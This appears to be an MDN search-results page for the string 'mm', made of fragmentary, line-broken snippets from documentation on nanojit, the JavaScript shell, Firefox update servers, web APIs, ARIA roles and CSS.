mmediately clear from reading lir which opcodes should be used for 64-bit safety. if you make a mistake, there's an extremely good chance the sanityfilter in nanojit will catch it while generating code. if this happens you will get an assert that points directly to the ill-typed lir. not all pointer-width values are actually pointers. to avoid equivocating, the rest of this article will use the term...
...". a native integer is the size used for intptr_t/uintptr_t, which is usually the width of a general-purpose register on the target cpu. loading and storing native integers the harder cases to detect usually involve runtime value truncation. for example, this code will not load a native integer correctly on a 64-bit machine: struct object { void *data; }; lir->insload(lir_ld, objins, ins->insi
mm(offsetof(object, data))); lir_ld is 32-bit. on 64-bit machines you must use lir_ldq. luckily there is an alias that will choose the right opcode for you - lir_ldp: struct object { void *data; }; lir->insload(lir_ldp, objins, ins->insi
mm(offsetof(object, data))); when you use lirwriter::insstore, the correct size is chosen for you automatically, based on the size of the input operands. to in...
...quad versus float internally, "quads" are 64-bit opaque values in nanojit. ...
...And 4 more matches
Introduction to the JavaScript shell
it is the javascript equivalent of python's interactive prompt, the lisp read-eval-print loop, or ruby's irb. this article explains how to use the shell to experiment with javascript code and run javascript programs. to get the spidermonkey javascript shell, see the spidermonkey build documentation or download a compiled binary for your platform from the nightly builds. for a list of other javascript shells, see javascript shells. note: starting with spidermonkey 44 (firefox 44 / thunderbird 44 / seamonkey 2.41), the standard, web-compatible javascript version is used by default (and not js1.7+ anymore). ...
...ion is used by default (and not js1.7+ anymore). the version() shell builtin is still there for testing legacy features. running the javascript shell the shell offers two modes of operation. you can use it as an interactive shell, in which you type javascript code at a prompt and get instant gratification, which is handy for experimenting or testing new features. you can also pass in, on the co
mmand line, a javascript program file to run, in which case the program is run automatically. after following the build documentation and installing the built shell using make install, you can run the shell in interactive mode using the co
mmand: js [ if you get " symbol lookup error: ./js: undefined symbol: pr_setcurrentthreadname" e.g. from a bash console when using a pre-compiled binary, try ...
...ng make install, you can run the shell in interactive mode using the co
mmand: js [ if you get " symbol lookup error: ./js: undefined symbol: pr_setcurrentthreadname" e.g. from a bash console when using a pre-compiled binary, try <path to your firefox's run-mozilla.sh>/run-mozilla.sh ./js -- that worked for me] if you'd like to run the javascript code in the file foo.js, you can use this co
mmand: js foo.js to run foo.js then drop into the interactive shell, do this: js -f foo.js -i reference note: because the javascript shell is used as a test environment for the javascript engine, the available options and built-in functions can change over time. co
mmand line options there are a number of co
mmand line options you can specify to control the shell. these are su
mmarized below. ...
...And 4 more matches
Setting up an update server
downloading a mar prebuilt nightly mars can be found here on archive.mozilla.org. be sure that you use the one that matches your machine's configuration. ...
...irefox being updated will need to be built to allow un-signed mars. see building firefox for more information on building firefox locally. these changes will need to be made in order to use the locally built mar: put this line in the mozconfig file in root of the build directory (create it if it does not exist): ac_add_options --disable-verify-mar several files contain a line that must be unco
mmented. open them and find this line: #defines['disable_updater_authenticode_check'] = true. delete the # at the beginning of the line to unco
mment it. these are the files that must be changed: toolkit/components/maintenanceservice/moz.build toolkit/mozapps/update/tests/moz.build firefox should otherwise be built normally. after building, you may want to copy the installation of fir...
...ke sure your install directory is in one of those locations. now that you have a build of firefox capable of using a locally-built mar, it's time to build the mar. first, build firefox the way you want it to be after updating. if you want it to be the same before and after updating, this step is unnecessary and you can use the same build that you used to create the installation. ...
...And 4 more matches
nsIURL
if the url denotes a path to a directory and not a file, for example http://host/foo/bar/, then the directory attribute accesses the complete /foo/bar/ portion, and the filenam...
... and should not have been specially handled. query autf8string query portion (the part after the "?") of the url. if there isn't one, an empty string is returned. some characters may be escaped. ref autf8string reference portion (the part after the "#") of the url. if there isn't one, an empty string is returned. some characters may be escaped. ...
...autf8string query portion (the part after the "?") of the url. if there isn't one, an empty string is returned. some characters may be escaped. ref autf8string reference portion (the part after the "#") of the url. if there isn't one, an empty string is returned. some characters may be escaped. methods getco
mmonbasespec() this method takes a uri and compares the two. the co
mmon uri portion is returned as a string. the minimum co
mmon uri portion is the protocol, and any of these if present: login, password, host and port if no co
mmonality is found, "" is returned. if they are identical, the whole path with file/ref/etc. is returned. for file uris, it is expected that the co
mmon spec would be at least "file:///" since '/' is a shared co
mmon root. examples: this...
...And 4 more matches
URLs - Plugins
sting data to an http server, uploading files to an ftp server, and sending mail. uniform resource locator (url) protocols provide a means for locating and accessing resources that are available on the internet and on intranets. plug-ins can request and receive the data associated with urls of any type that the browser can handle, including http, ftp, news, mailto, and gopher. the table below su
mmarizes urls supported by gecko. in addition, gecko may support urls not listed on this table. url scheme description about locates browser information or "fun" pages. file (host-specific filenames) locates files on a specific host computer rather than an internet resource. ftp (file transfer protocol) locates files and directories on internet hosts ...
... url and retrieve the data, it does not create a stream for the instance; in this case, the plug-in receives notification of the result. to request a stream and receive notification of the result in all cases, use npn_geturlnotify. for http urls, the browser resolves npn_geturl as the http server method get, which requests url objects. note that npn_geturl is typically asynchronous: it returns i
mmediately and only later handles the request, such as displaying the url or creating the stream for the instance and writing the data. for this reason as well, calling npn_geturlnotify may be more useful than npn_geturl; the plug-in is notified upon either successful or unsuccessful completion of the request. nperror npn_geturl(npp instance, const char *url, const char *target); the instance para...
... to the plug-in instance, through calls to npp_newstream, npp_writeready and npp_write, and npp_destroystream. in general, if a url works in the location box of the navigator, it works as a target for npn_geturl, except for the _self target. make sure that the target matches the url type sent to it. for example, a null target does not make sense for some url types (such as mailto). for some reco
mmendations to help you with target parameter choice, see the reference entry for npn_geturl. the npn_geturlnotify method acts like npn_geturl. both request the creation of a new stream with the contents of the specified url, and, in addition, npn_geturlnotify notifies the plug-in of the successful or unsuccessful completion of the request. the browser notifies the plug-in by calling the plug-in's ...
...And 4 more matches
DOM Inspector internals - Firefox Developer Tools
loosely referred to as a "pane", but a panelset is always referred to as a "panelset".) a panel's purpose is to manage available viewers. at the top of each panel is a toolbar which contains a menu button allowing you to choose which viewer to display from the viewer list, a label displaying the name of the currently active viewer, and another menu button allowing you to issue viewer-specific co
mmands. viewers are dynamically loaded; when the panel is made to switch from one viewer to another, the old viewer is destroyed, and the new viewer is loaded in its place. in this way, the panelset and panels function like a frameset and frames. this comparison turns out to be quite apt, since each panel actually contains an anonymous browser, and individual viewers exist in separate documents loa...
...e/ … skin/ … makefile.in install.rdf jar.mn makefile.in makefiles.sh almost all the interesting stuff is in resources/content/. ...
...e overlays are: browseroverlay.xul tasksoverlay-cz.xul tasksoverlay-ff.xul tasksoverlay-mobile.xul tasksoverlay-sb.xul tasksoverlay-tb.xul tasksoverlay.xul venkmanoverlay.xul prefs/prefsoverlay.xul further examination of the chrome manifest will reveal that dom inspector also uses conditional overlays on its primary window: overlay chrome://inspector/content/inspector.xul chrome://co
mmunicator/content/utilityoverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} overlay chrome://inspector/content/inspector.xul chrome://co
mmunicator/content/tasksoverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} overlay chrome://inspector/content/inspector.xul chrome://browser/content/basemenuoverlay.xul application={ec8030f7-c20a-464f-9b0e-13a3a9e97384} these host-provid...
...And 4 more matches
Web console keyboard shortcuts - Firefox Developer Tools
co
mmand windows macos linux open the web console ctrl + shift + k cmd + opt + k ctrl + shift + k search in the message display pane ctrl + f cmd + f ctrl + f open the object inspector pane ctrl + click ctrl + click ctrl + click clear the object inspector pane esc esc esc focus on the co
mmand line ctrl + shift + k cmd + opt + k ctrl + shift + k clear output ctrl + shift + l ctrl + l from firefox 67: cmd + k ctrl + shift + l co
mmand line interpreter these shortcuts apply when you're in the co
mmand line interpreter. ...
... clear the object inspector pane esc esc esc focus on the co
mmand line ctrl + shift + k cmd + opt + k ctrl + shift + k clear output ctrl + shift + l ctrl + l from firefox 67: cmd + k ctrl + shift + l co
mmand line interpreter these shortcuts apply when you're in the co
mmand line interpreter. ...
...e ctrl + shift + k cmd + opt + k ctrl + shift + k clear output ctrl + shift + l ctrl + l from firefox 67: cmd + k ctrl + shift + l co
mmand line interpreter these shortcuts apply when you're in the co
mmand line interpreter. ...
...And 4 more matches
Using Fetch - Web APIs
ginal. headers the headers interface allows you to create your own headers object via the headers() constructor. ...
...content-type', 'text/plain'); myheaders.append('content-length', content.length.tostring()); myheaders.append('x-custom-header', 'processthisi
mmediately'); the same can be achieved by passing an array of arrays or an object literal to the constructor: const myheaders = new headers({ 'content-type': 'text/plain', 'content-length': content.length.tostring(), 'x-custom-header': 'processthisi
mmediately' }); the contents can be queried and retrieved: console.log(myheaders.has('content-type')); // true console.log(myheaders.has('set-cookie')); // false myheaders.set('content-type', 'text/html'); myheaders.append('x-custom-header', 'anothervalue'); console.log(myheaders.get('content-length')); // 11 console.log(myheaders.get('x-custom-header')); // ['processthisi
mmediately', 'anotherva...
...nothervalue'] myheaders.delete('x-custom-header'); console.log(myheaders.get('x-custom-header')); // [ ] some of these operations are only useful in serviceworkers, but they provide a much nicer api for manipulating headers. all of the headers methods throw a typeerror if a header name is used that is not a valid http header name. the mutation operations will throw a typeerror if there is an i
mmutable guard (see below). otherwise, they fail silently. for example: const myresponse = response.error(); try { myresponse.headers.set('origin', 'http://mybank.com'); } catch (e) { console.log('cannot pretend to be a bank!'); } a good use case for headers is checking whether the content type is correct before you process it further. for example: fetch(myrequest) .then(response => { ...
...And 4 more matches
HTMLTableElement - Web APIs
e first <caption> that is a child of this element is removed from the tree, if any. htmltableelement.thead is a htmltablesectionelement representing the first <thead> that is a child of the element, or null if none is found. when set, if the object doesn't represent a <thead>, a domexception with the hierarchyrequesterror name is thrown. if a correct object is given, it is inserted in the tree i
mmediately before the first element that is neither a <caption>, nor a <colgroup>, or as the last child if there is no such element, and the first <thead> that is a child of this element is removed from the tree, if any. htmltableelement.tfoot is a htmltablesectionelement representing the first <tfoot> that is a child of the element, or null if none is found. when set, if the object doesn't repres...
...the first <thead> that is a child of this element is removed from the tree, if any. htmltableelement.tfoot is a htmltablesectionelement representing the first <tfoot> that is a child of the element, or null if none is found. when set, if the object doesn't represent a <tfoot>, a domexception with the hierarchyrequesterror name is thrown. if a correct object is given, it is inserted in the tree i
mmediately before the first element that is neither a <caption>, a <colgroup>, nor a <thead>, or as the last child if there is no such element, and the first <tfoot> that is a child of this element is removed from the tree, if any. htmltableelement.rowsread only returns a live htmlcollection containing all the rows of the element, that is all <tr> that are a child of the element, or a child of on...
...s the obsolete frame attribute and can take one of the following values: "void", "above", "below", "hsides", "vsides", "lhs", "rhs", "box", or "border". htmltableelement.rules is a domstring containing the type of the internal borders of the table. it reflects the obsolete rules attribute and can take one of the following values: "none", "groups", "rows", "cols", or "all". htmltableelement.su
mmary is a domstring containing a description of the purpose or the structure of the table. it reflects the obsolete su
mmary attribute. htmltableelement.width is a domstring containing the length in pixels or in percentage of the desired width fo the entire table. it reflects the obsolete width attribute. methods inherits methods from its parent, htmlelement. htmltableelement.createthe...
...And 4 more matches
Transcoding assets for Media Source Extensions - Web APIs
typically generated while generating the multiple resolution asset files. below we'll cover all of these steps, but first let's look at a toolchain we can use to do this fairly easily. sample media if you're looking to follow the steps listed here, but don't have any media to experiment with, you can grab the trailer to big buck bunny [0] here. big buck bunny is licensed under the creative co
mmons attribution 3.0 license. throughout this tutorial, you'll see the filename trailer_1080p.mov which is the download. [0] (c) copyright 2008, blender foundation / www.bigbuckbunny.org / https://peach.blender.org/about/ tools required when working with mse, the following tools are a must have: ffmpeg — a co
mmand-line utility for transcoding your media into the required formats. you can d...
...to install, you'll need to build/compile the application yourself from the provided project files/source files, depending on your os and preferences. see the building instructions for more details. the prebuilt file is here. ...
...python2 — bento4 uses it. get these installed successfully before moving to the next step. sample media should be placed in the bento4 utils directory and worked here. note: the prebuilt ffmpeg does not include libfdk_aac due to licensing reasons. bento4 uses this by default, so you need to compile ffmpeg if necessary. if you don't need it, add --audio-codec=aac to the mp4-dash-encode.py co
mmand line. container and codec support as specified in section 1.1 of the mse spec: goals, mse is designed not to require support for any particular media format or codec. while this is true on paper, browser support varies for specific container/codec combinations. to check if the browser supports a particular container, you can pass a string of the mime type to the mediasource.istypesupporte...
...And 4 more matches
PerformanceNavigationTiming - Web APIs
lso extends following performanceresourcetiming properties for navigation performance entry types by qualifying and constraining them as follows: performanceresourcetiming.initiatortyperead only returns "navigation". the interface also supports the following properties: performancenavigationtiming.domcomplete read only a domhighrestimestamp representing a time value equal to the time i
mmediately before the browser sets the current document readiness of the current document to complete. performancenavigationtiming.domcontentloadedeventend read only a domhighrestimestamp representing the time value equal to the time i
mmediately after the current document's domcontentloaded event completes. performancenavigationtiming.domcontentloadedeventstart read only a domhighrestimestamp ...
...cument readiness of the current document to complete. performancenavigationtiming.domcontentloadedeventend read only a domhighrestimestamp representing the time value equal to the time i
mmediately after the current document's domcontentloaded event completes. performancenavigationtiming.domcontentloadedeventstart read only a domhighrestimestamp representing the time value equal to the time i
mmediately before the user agent fires the domcontentloaded event at the current document. performancenavigationtiming.dominteractive read only a domhighrestimestamp representing a timestamp representing the time value equal to the time i
mmediately before the user agent sets the current document readiness of the current document to interactive. performancenavigationtiming.loadeventend read only ...
... performancenavigationtiming.redirectcount read only a number representing the number of redirects since the last non-redirect navigation under the current browsing context. ...
...And 4 more matches
SVGSVGElement - Web APIs
the svgsvgelement interface provides access to the properties of <svg> elements, as well as methods to manipulate them. this interface contains also various miscellaneous co
mmonly-used utility methods, such as matrix operations and the ability to control the time of redraw on visual rendering devices. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font...
...e of a pixel unit along the y-axis of the viewport. svgsvgelement.screenpixeltomillimeterx user interface (ui) events in dom level 2 indicate the screen positions at which the given ui event occurred. when the browser actually knows the physical size of a "screen unit", this float attribute will express that information; otherwise, user agents will provide a suitable default value (such as .28
mm). svgsvgelement.screenpixeltomillimetery corresponding size of a screen pixel along the y-axis of the viewport. svgsvgelement.usecurrentview the initial view (i.e., before magnification and panning) of the current innermost svg document fragment can be either the "standard" view, i.e., based on attributes on the <svg> element such as viewbox) or on a "custom" view (i.e., a hyperlink into a ...
... returned by a previous suspendredraw() call. svgsvgelement.unsuspendredrawall() cancels all currently active suspendredraw() method calls. this method is most useful at the very end of a set of svg dom calls to ensure that all pending suspendredraw() method calls have been cancelled. svgsvgelement.forceredraw() in rendering environments supporting interactivity, forces the user agent to i
mmediately redraw all regions of the viewport that require updating. svgsvgelement.pauseanimations() suspends (i.e., pauses) all currently running animations that are defined within the svg document fragment corresponding to this <svg> element, causing the animation clock corresponding to this document fragment to stand still until it is unpaused. svgsvgelement.unpauseanimations() unsuspends (i.
...And 4 more matches
SVGTransformList - Web APIs
length unsigned l...
...into the list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. getitem(in unsigned long index) svgtransform returns the specified item from the list. the returned item is the item itself and not a copy. any changes made to the item are i
mmediately reflected in the list. the first item is number 0. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. insertitembefore(in svgtransform newitem, in unsigned long index) svgtransform inserts a new item into the list at the specified ...
... end of the list. if newitem is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. createsvgtransformfro
mmatrix(in svgmatrix) svgtransform creates an svgtransform object which is initialized to transform of type svg_transform_matrix and whose values are the given matrix. the values from the parameter matrix are copied, the matrix parameter is not adopted as svgtransform::matrix. consolidate() svgtransform consolidates the list of separate svgtransform objects by multiplying t...
...And 4 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
because webrtc doesn't mandate a specific transport mechanism for signaling during the negotiation of a new peer connection, it's highly flexible. however, despite that flexibility in transport and co
mmunication of signaling messages, there's still a reco
mmended design pattern you should follow when possible, known as perfect negotiation. this article introduces webrtc perfect negotiation, describing how it works and why it's the reco
mmended way to negotiate a webrtc connection between peers, and provides sample code to demonstrate the technique. after the first deployments of webrtc-capable browsers, it was realized that parts of the negotiation process were more complicated than they needed to be for typical use cases. this was due to a small number of issues with the api and some potent...
...addressed, letting us simplify our webrtc negotiation significantly. the perfect negotiation pattern is an example of the ways in which negotiation have improved since the early days of webrtc. perfect negotiation concepts perfect negotiation makes it possible to seamlessly and completely separate the negotiation process from the rest of your application's logic. negotiation is an inherently asy
mmetric operation: one side needs to serve as the "caller" while the other peer is the "callee." the perfect negotiation pattern smooths this difference away by separating that difference out into independent negotiation logic, so that your application doesn't need to care which end of the connection it is. as far as your application is concerned, it makes no difference whether you're calling out or...
...the impolite peer, the polite peer drops its offer and instead replies to the offer it has received from the impolite peer. by doing so, the polite peer has switched from being the caller to the callee! implementing perfect negotiation let's take a look at an example that implements the perfect negotiation pattern. the code assumes that there's a signalingchannel class defined that is used to co
mmunicate with the signaling server. your own code, of course, can use any signaling technique you like. note that this code is identical for both peers involved in the connection. create the signaling and peer connections first, the signaling channel needs to be opened and the rtcpeerconnection needs to be created. the stun server listed here is obviously not a real one; you'll need to replace s...
...And 4 more matches
Web Speech API - Web APIs
ition interface, which provides the ability to recognize voice context from an audio input (normally via the device's default speech recognition service) and respond appropriately. generally you'll use the interface's constructor to create a new speechrecognition object, which has a number of event handlers available for detecting when speech is input through the device's microphone. ...
...ntext from an audio input (normally via the device's default speech recognition service) and respond appropriately. generally you'll use the interface's constructor to create a new speechrecognition object, which has a number of event handlers available for detecting when speech is input through the device's microphone. the speechgra
mmar interface represents a container for a particular set of gra
mmar that your app should recognise. ...
...the device's default speech recognition service) and respond appropriately. generally you'll use the interface's constructor to create a new speechrecognition object, which has a number of event handlers available for detecting when speech is input through the device's microphone. the speechgra
mmar interface represents a container for a particular set of gra
mmar that your app should recognise. ...
...And 4 more matches
Using Web Workers - Web APIs
sed in the main script thread, but not when used in the worker. this is because, inside the worker, the worker is effectively the global scope. note: when a message is passed between the main thread and worker, it is copied or "transferred" (moved), not shared. read transferring data to and from workers: further details for a much more thorough explanation. terminating a worker if you need to i
mmediately terminate a running worker from the main thread, you can do so by calling the worker's terminate method: myworker.terminate(); the worker thread is killed i
mmediately. handling errors when a runtime error occurs in the worker, its onerror event handler is called. it receives an event named error which implements the errorevent interface. the event doesn't bubble and is cancelable; to...
... and non-private windows (bug 1177621). spawning a shared worker spawning a new shared worker is pretty much the same as with a dedicated worker, but with a different constructor name (see index.html and index2.html) — each one has to spin up the worker using code like the following: var myworker = new sharedworker('worker.js'); one big difference is that with a shared worker you have to co
mmunicate via a port object — an explicit port is opened that the scripts can use to co
mmunicate with the worker (this is done implicitly in the case of dedicated workers). the port connection needs to be started either implicitly by use of the onmessage event handler or explicitly with the start() method before any messages can be posted. calling start() is only needed if the message event is wi...
...needs to be started either implicitly by use of the onmessage event handler or explicitly with the start() method before any messages can be posted. calling start() is only needed if the message event is wired up via the addeventlistener() method. note: when using the start() method to open the port connection, it needs to be called from both the parent thread and the worker thread if two-way co
mmunication is needed. sending messages to and from a shared worker now messages can be sent to the worker as before, but the postmessage() method has to be invoked through the port object (again, you'll see similar constructs in both multiply.js and square.js): squarenumber.onchange = function() { myworker.port.postmessage([squarenumber.value,squarenumber.value]); console.log('message poste...
...And 4 more matches
Window.open() - Web APIs
to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by windowname. this name can be used as the target for the target attribute of <a> or <form> elements. the name should not contain whitespace. keep in mind that this will not be used as the window's title. windowfeatures optional a domstring containing a co
mma-separated list of window features given with their corresponding values in the form "name=value". these features include options such as the window's default size and position, whether or not to include toolbar, and so forth. there must be no whitespace in the string. see window features below for documentation of each of the features that can be specified. return value a windowproxy object, ...
...olicy security requirements. description the open() method creates a new secondary browser window, similar to choosing new window from the file menu. the url parameter specifies the url to be fetched and loaded in the new window. if url is an empty string, then a new blank, empty window (url about:blank) is created with the default toolbars of the main window. note that remote urls won't load i
mmediately. when window.open() returns, the window always contains about:blank. the actual fetching of the url is deferred and starts after the current script block finishes executing. the window creation and the loading of the referenced resource are done asynchronously. examples var windowobjectreference; var windowfeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes"; f...
... child to opener. this function is the lonely key to get back the handle on a window if the developer has access only to its name (the name can be saved with cookies or local storage but not the window object handle). for now 10/01/2017 the differencies of behavior found recently have not still been tested for others browsers. window features windowfeatures is an optional string containing a co
mma-separated list of requested features of the new window. after a window is opened, javascript can't be used to change the features. if windowname does not specify an existing window and the windowfeatures parameter is not provided (or if the windowfeatures parameter is an empty string), then the new secondary window will render the default toolbars of the main window. tip: note that in some bro...
...And 4 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
scope.settimeout(function[, delay, arg1, arg2, ...]); var timeoutid = scope.settimeout(function[, delay]); var timeoutid = scope.settimeout(code[, delay]); parameters function a function to be executed after the timer expires. code an alternative syntax that allows you to include a string instead of a function, which is compiled and executed when the timer expires. this syntax is not reco
mmended for the same reasons that make using eval() a security risk. delay optional the time, in milliseconds (thousandths of a second), the timer should wait before the specified function or code is executed. if this parameter is omitted, a value of 0 is used, meaning execute "i
mmediately", or more accurately, the next event cycle. note that in either case, the actual delay may be longer than int...
...or go for a very clean approach based on the i...
...o pass a thisarg to settimeout as there is in array methods like foreach, reduce, etc. and as shown below, using call to set this doesn't work either. ...
...And 4 more matches
Using the article role - Accessibility
the article role is used to identify a section of a page that forms an independent part of a document, page or site. examples of an article include web log posts, newspaper or magazine articles and use-submitted co
mments. it is independent in that its contents could stand alone, for example in syndication. articles can be nested; for example, a web log entry on a site that accepts user-submitted co
mments could represent the co
mments as articles nested within the article for the web log entry. the aria article role is similar to the html5 article element; however the article element should still be given the aria role of article, since not all assistive technologies support html5 yet. possible effects on user agents and assistive technology when the user navigates an element assi...
...igate the hierarchy of any nested article elements. note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. ...
...nested article elements. note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. ...
...And 4 more matches
ARIA: Mark role - Accessibility
the mark landmark role semantically denotes html elements containing text that is marked/highlighted for reference purposes. this is semantically equivalent to the html <mark> element. if possible, you should use this element instead. examples in the following example we have a document section that has been co
mmented. the co
mmented section is marked up using <span role="mark">. ...
...ement. if possible, you should use this element instead. examples in the following example we have a document section that has been co
mmented. the co
mmented section is marked up using <span role="mark">. ...
...lowing example we have a document section that has been co
mmented. the co
mmented section is marked up using <span role="mark">. <p>the last half of the song is a slow-rising crescendo that peaks at the <span role="mark" aria-details="thread-1">end of the guitar solo</span>, before fading away sharply.</p> <div role="co
mment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="co
mment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> the related co
mment is marked up using an html structure wrapped with a <div> containing role="co
mment". ...
...And 4 more matches
ARIA: button role - Accessibility
cusable and have to define event handlers for click and keydown events, including the enter and space keys, in order to process the user's input. see the official wai-aria example code. description the button role identifies an element as a button to screen readers. a button is a widget used to perform actions such as submitting a form, opening a dialog, cancelling an action, or performing a co
mmand such as inserting a new record or displaying information. a co
mmon convention to inform users a button will launch a dialog is to append "…" (ellipsis) to the button's label, e.g., "save as…". in addition to the ordinary button widget, role="button" should be included when creating a toggle button or menu button using a non button element. a toggle button is a two-state button that can b...
...ed. aria-expanded if the button controls a grouping of other elements, the aria-expanded state indicates whether the controlled grouping is currently expanded or collapsed. if the button has aria-expanded="false" set, the grouping is not currently expanded; if the button has aria-expanded="true" set, it is currently expanded; if the button has aria-expanded="undefined" set or the attribute is o
mmitted, it is not expandable. basic buttons buttons should always have an accessible name. for most buttons, this name will be the same as the text inside the button. in some cases, for example buttons represented by icons, the accessible name may be provided from the aria-label or aria-labelledby attributes. toggle buttons a toggle button typically has two states: pressed and not pressed. a t...
...ce or enter key. in this case, the action is to add a new name to the list of names. try the example by adding a name to the text box. the button will cause the name to be added to a list. ...
...And 4 more matches
ARIA: listbox role - Accessibility
ser may select one or more items which are static and, unlike html <select> elements, may contain images. description the listbox role is used to identify an element that creates a list from which a user may select one or more static items, similar to the html <select> element. unlike <select>, a listbox can contain images. each child of a listbox should have a role of option. it is highly reco
mmended to use the html select element, or a group of radio buttons if only one item can be selected, or a group of checkboxes if multiple items can be selected, because there is a lot of keyboard interactivity to manage focus for all the descendants, and native html elements provide this functionality for you for free. elements with the role listbox have an implicit aria-orientation value of verti...
...ting with that entire string). if the current item has an associated context menu, shift+f10 will launch that menu. if list items are checkable, space can be used to toggle checkboxes. for selectable list items, space toggles their selection, shift+space can be used to select contiguous items, ctrl+arrow moves without selecting, and ctrl+space can be used to select non-contiguous items. it is reco
mmended that a checkbox, link or other method be used to select all items, and ctrl+a could be used as a shortcut key for this. when the listbox role is added to an element, or such an element becomes visible, screen readers announce the label and role of the listbox when it gets focus. if an option or item is focused within the list, it gets announced next, followed by an indication of the item's...
...wn arrow: moves focus to the next option. optionally, in a single-select listbox, selection may also move with focus. up arrow: moves focus to the previous option. optionally, in a single-select listbox, selection may also move with focus. home (optional): moves focus to first option. optionally, in a single-select listbox, selection may also move with focus. ...
...And 4 more matches
font-weight - CSS: Cascading Style Sheets
0; /* multiple values */ font-weight: normal bold; font-weight: 300 500; the font-weight property is described using any one of the values listed below. values normal normal font weight. same as 400. bold bold font weight. same as 700. <number> a <number> value between 1 and 1000, inclusive. higher numbers represent weights that are bolder than (or as bold as) lower numbers. certain co
mmonly used values correspond to co
mmon weight names, as described in the co
mmon weight name mapping section below. in earlier versions of the font-weight specification, the property accepts only keyword values and the numeric values 100, 200, 300, 400, 500, 600, 700, 800, and 900; non-variable fonts can only really make use of these set values, although fine-grained values (e.g. 451) will be tran...
..., 400, 500, 600, 700, 800, and 900; non-variable fonts can only really make use of these set values, although fine-grained values (e.g. 451) will be translated to one of these values for non-variable fonts. css fonts level 4 extends the syntax to accept any number between 1 and 1000, inclusive, and introduces variable fonts, which can make use of this much finer-grained range of font weights. ...
...ues, although fine-grained values (e.g. 451) will be translated to one of these values for non-variable fonts. css fonts level 4 extends the syntax to accept any number between 1 and 1000, inclusive, and introduces variable fonts, which can make use of this much finer-grained range of font weights. ...
...And 4 more matches
@import - CSS: Cascading Style Sheets
supports-query ); @import url supports( supports-query ) list-of-media-queries; where: url is a <string> or a <url> representing the location of the resource to import. the url may be absolute or relative. note that the url for a mozilla package need not actually specify a file; it can just specify the package name and part, and the appropriate file is chosen automatically (e.g. chrome://co
mmunicator/skin/). see here for more information. list-of-media-queries is a co
mma-separated list of media queries conditioning the application of the css rules defined in the linked url. if the browser does not support any these queries, it does not load the linked resource. supports-query is either a <supports-condition> or a <declaration>. description imported rules must precede all other ...
...ither a <supports-condition> or a <declaration>. description imported rules must precede all other types of rules, except @charset rules; as it is not a nested statement, @import cannot be used inside conditional group at-rules. so that user agents can avoid retrieving resources for unsupported media types, authors may specify media-dependent @import rules. these conditional imports specify co
mma-separated media queries after the url. in the absence of any media query, the import is unconditional. specifying all for the medium has the same effect. formal syntax @import [ <string> | <url> ] [ <media-query-list> ]?;where <media-query-list> = <media-query>#where <media-query> = <media-condition> | [ not | only ]? <media-type> [ and <media-condition-without-or> ]?where <media-condition> = ...
... candidat...
...And 4 more matches
Media queries - CSS: Cascading Style Sheets
should be applied. media queries in javascript in javascript, you can use the window.matchmedia() method to test the window against a media query. you can also use mediaquerylist.addlistener() to be notified whenever the state of a query changes. with this functionality, your site or app can respond to changes in the device configuration, orientation, or state. ...
...p can respond to changes in the device configuration, orientation, or state. you can learn more about progra
mmatically using media queries in testing media queries. reference at-rules @import @media guides using media queries introduces media queries, their syntax, and the operators and media features which are used to construct media query expressions. testing media queries progra
mmatically describes how to use media queries in your javascript code to determine the state of a device, and to set up listeners that notify your code when the results of media queries change (such as when the user rotates the screen or resizes the browser). using media queries for accessibility learn how media queries can help users understand your website better. specifications spe...
... use media queries in your javascript code to determine the state of a device, and to set up listeners that notify your code when the results of media queries change (such as when the user rotates the screen or resizes the browser). ...
...And 4 more matches
Audio and Video Delivery - Developer guides
eo tag --> <a href="videofile.mp4">download video</a> </video> the code above creates a video player of dimensions 640x480 pixels, displaying a poster image until the video is played. we instruct the video to autoplay but to be muted by default. note: the autoplay attribute may be ignored by some mobile browsers. also, the autoplay feature can be controversial when misused. it's strongly reco
mmended that you read the autoplay guide for media and web audio apis to learn how to use autoplay wisely.. for further info see <video> element and creating a cross-browser video player. audio and video fallback you can create a more comprehensive fallback using flash. using flashmediaelement.swf is one way. <audio controls> <source src="audiofile.mp3" type="audio/mpeg"> <source src="audio...
...ed'); } in this example we retrieve an mp3 file via xhr, load it into a source and play it (try it for yourself). find more about web audio api basics in using the web audio api. getusermedia / stream api it's also possible to retrieve a live stream from a webcam and/or microphone using getusermedia and the stream api. this makes up part of a wider technology known as webrtc (web real-time co
mmunications) and is compatible with the latest versions of chrome, firefox and opera. to grab the stream from your webcam, first set up a <video> element: <video id="webcam" width="480" height="360"></video> next, if supported connect the webcam source to the video element: if (navigator.mediadevices) { navigator.mediadevices.getusermedia({ video: true, audio: false }) .then(function onsucc...
...if this is htmlmediaelement.network_no_source, you know that all the...
...And 4 more matches
HTML attribute: multiple - HTML: Hypertext Markup Language
ultiple attribute is set. for the file input type, the native messaging the browser provides differs. in firefox, the file input reads "no files selected" when the attribute is present and "no file selected" when not, when no files are selected. most browsers displaying a scrolling list box for a <select> control with the multiple attribute set versus a single line dropdown when the attribute is o
mmitted. the email input displays the same, but will match the :invalid pseudo-class if more than one co
